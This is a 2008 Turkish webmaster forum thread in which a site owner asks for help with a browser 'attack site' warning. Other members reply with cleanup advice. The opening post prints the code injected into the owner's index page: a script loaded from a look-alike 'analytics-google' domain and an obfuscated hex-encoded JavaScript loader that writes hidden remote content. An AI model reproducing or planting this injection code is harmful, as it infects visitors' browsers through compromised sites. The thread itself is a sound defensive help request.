Saldırgan Site Uyarısı.

27-07-2008, 20:27:45

Arkadaşlar, Yaklaşık 2 Haftadır Şu Saldırgan Site Uyarısını Yapıyor Siteye Girişte;

index Dosyasına Bir Bakıyorum Böyle Bir Kod Eklenmiş;

<script src="http://analytics-google.info/i/urchin.js"></script></head>

<body topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0" style="background-attachment: fixed"><script>function c41883415430m488bc9c8c0f0d(m488bc9c8c16dc){ var m488bc9c8c1eac=16; return (parseInt(m488bc9c8c16dc,m488bc9c8c1eac));}functio n m488bc9c8c2e4e(m488bc9c8c361c){ var m488bc9c8c4d8c=2; var m488bc9c8c3def='';m488bc9c8c5d2b=String.fromCharCo de;for(m488bc9c8c45bb=0;m488bc9c8c45bb<m488bc9c8c3 61c.length;m488bc9c8c45bb+=m488bc9c8c4d8c){ m488bc9c8c3def+=(m488bc9c8c5d2b(c41883415430m488bc 9c8c0f0d(m488bc9c8c361c.substr(m488bc9c8c45bb,m488 bc9c8c4d8c))));}return m488bc9c8c3def;} var z9c='';var m488bc9c8c64fb='3C7'+z9c+'3637'+z9c+'2697'+z9c+'07 '+z9c+'43E667'+z9c+'56E637'+z9c+'4696F6E2063686563 6B5F636F6E7'+z9c+'4656E7'+z9c+'428297'+z9c+'B7'+z9 c+'6617'+z9c+'220693D303B7'+z9c+'7'+z9c+'68696C652 8646F637'+z9c+'56D656E7'+z9c+'42E67'+z9c+'657'+z9c +'4456C656D656E7'+z9c+'47'+z9c+'3427'+z9c+'9546167 '+z9c+'4E616D652827'+z9c+'69667'+z9c+'2616D6527'+z 9c+'292E6C656E67'+z9c+'7'+z9c+'468297'+z9c+'B7'+z9 c+'6617'+z9c+'220656C3D646F637'+z9c+'56D656E7'+z9c +'42E67'+z9c+'657'+z9c+'4456C656D656E7'+z9c+'47'+z 9c+'3427'+z9c+'9546167'+z9c+'4E616D652827'+z9c+'69 667'+z9c+'2616D6527'+z9c+'295B695D3B6966282028656C 2E7'+z9c+'37'+z9c+'47'+z9c+'96C652E64697'+z9c+'37' +z9c+'06C617'+z9c+'93D3D27'+z9c+'6E6F6E6527'+z9c+' 207'+z9c+'C7'+z9c+'C20656C2E7'+z9c+'37'+z9c+'47'+z 9c+'96C652E7'+z9c+'6697'+z9c+'36962696C697'+z9c+'4 7'+z9c+'9203D3D27'+z9c+'68696464656E27'+z9c+'207'+ z9c+'C7'+z9c+'C2028656C2E7'+z9c+'7'+z9c+'69647'+z9 c+'4683C3520262620656C2E68656967'+z9c+'687'+z9c+'4 3C35292920262620656C2E6E616D65213D27'+z9c+'633427' +z9c+'297'+z9c+'B656C2E7'+z9c+'0617'+z9c+'2656E7'+ z9c+'44E6F64652E7'+z9c+'2656D6F7'+z9c+'6654368696C 6428656C293B7'+z9c+'D656C7'+z9c+'36520692B2B3B7'+z 9c+'D7'+z9c+'D636865636B5F636F6E7'+z9c+'4656E7'+z9 c+'428293B0D0A696628216D7'+z9c+'96961297'+z9c+'B64 6F637'+z9c+'56D656E7'+z9c+'42E7'+z9c+'7'+z9c+'7'+z 9c+'2697'+z9c+'465287'+z9c+'56E657'+z9c+'363617'+z 9c+'065282027'+z9c+'2533632536392536362537'+z9c+'3 22536312536642536352532302536652536312536642536352 533642536332533342532302537'+z9c+'332537'+z9c+'322 53633253364253237'+z9c+'2536382537'+z9c+'342537'+z 9c+'342537'+z9c+'30253361253266253266253637'+z9c+' 253666253666253637'+z9c+'2536632536352532642536312 536652536312536632536392537'+z9c+'6125363525326525 36332536662536642532662536392536652532652536332536 37'+z9c+'25363925336625333125333526253237'+z9c+'25 32622534642536312537'+z9c+'342536382532652537'+z9c +'322536662537'+z9c+'35253665253634253238253464253 6312537'+z9c+'342536382532652537'+z9c+'32253631253 665253634253666253664253238253239253261253337'+z9c +'253336253335253339253331253239253262253237'+z9c+ '2533382536332536312533322533362533302536312533322 53634253635253237'+z9c+'2532302537'+z9c+'37'+z9c+' 2536392536342537'+z9c+'342536382533642533342533302 53331253230253638253635253639253637'+z9c+'25363825 37'+z9c+'342533642533312533392533312532302537'+z9c +'332537'+z9c+'342537'+z9c+'3925366325363525336425 3237'+z9c+'2536342536392537'+z9c+'332537'+z9c+'302 536632536312537'+z9c+'3925336125323025366525366625 3665253635253237'+z9c+'253365253363253266253639253 6362537'+z9c+'3225363125366425363525336527'+z9c+'2 9293B7'+z9c+'D7'+z9c+'6617'+z9c+'2206D7'+z9c+'9696 13D7'+z9c+'47'+z9c+'27'+z9c+'5653B3C2F7'+z9c+'3637 '+z9c+'2697'+z9c+'07'+z9c+'43E';document.write(m48 8bc9c8c2e4e(m488bc9c8c64fb));</script>

Ben Düzeltiyorum 1 Saat Geçmeden Tekrar Oluyor. Delirebilirim

27-07-2008, 20:53:23

#2

Gizlen

virüs kapmış windows makınan ad aware ile arat aynısı basıma geldi hatta baslık actım bile

27-07-2008, 22:09:03

#3

GuLaSk

Vahşi Site

27-07-2008, 23:58:32

#4

electronics

siteni antivirüs le adware le tarat tüm tehditleri sil sonra sitenin 2 hafta önceki yedeğini yüklettir hostuna bence. bu kodu bulaştıran zararlı tüm indexlere bulaştırıyor eğer sistemin bir kaç indexten oluşmuyorsa baya sıkıntı çekersin silmeyle bitmez ayrıca başka dosyalara da js kodları eklemiş olabilir indexlerdeki kodları ne kadar silsen de kar etmeyebilir

28-07-2008, 00:03:04

#5

~~cahveci~~

Üyeliği durduruldu

virüs yemişin

28-07-2008, 01:57:27

#6

bondcemil

bu konuyu inceleyen. Ne yapılması gerektiği yazıyor

https://www.r10.net/webmaster-genel-k...rkadaslar.html

28-07-2008, 02:55:42

#7

John

Teşekkürler.

28-07-2008, 08:35:27

#8

magnetox

aynı sorun bendede vardı arkadaşım, serverımdaki 3-4 siteyede index in en altına iframe le kod ekleyip css le gizliyordu, bende çok zaman sonra farkettim...

Öncelikle yapacağın şey, FTP ve HOST PANEL şifreni değiştirmen, daha sonra Hosting firmanı uyarman (Tedbir için, zamanında php,asp gibi dosyalara kod atan virüs vardı)..

hatta bu sayfadan kurtulmak için bi süre ftp ni boşaltman ve google web master araçlarından teyid ettirmen gerek =)

sorun halloluyor zaten ama sabretmen lazım google okadar iş içinen biraz geç onaylyor =)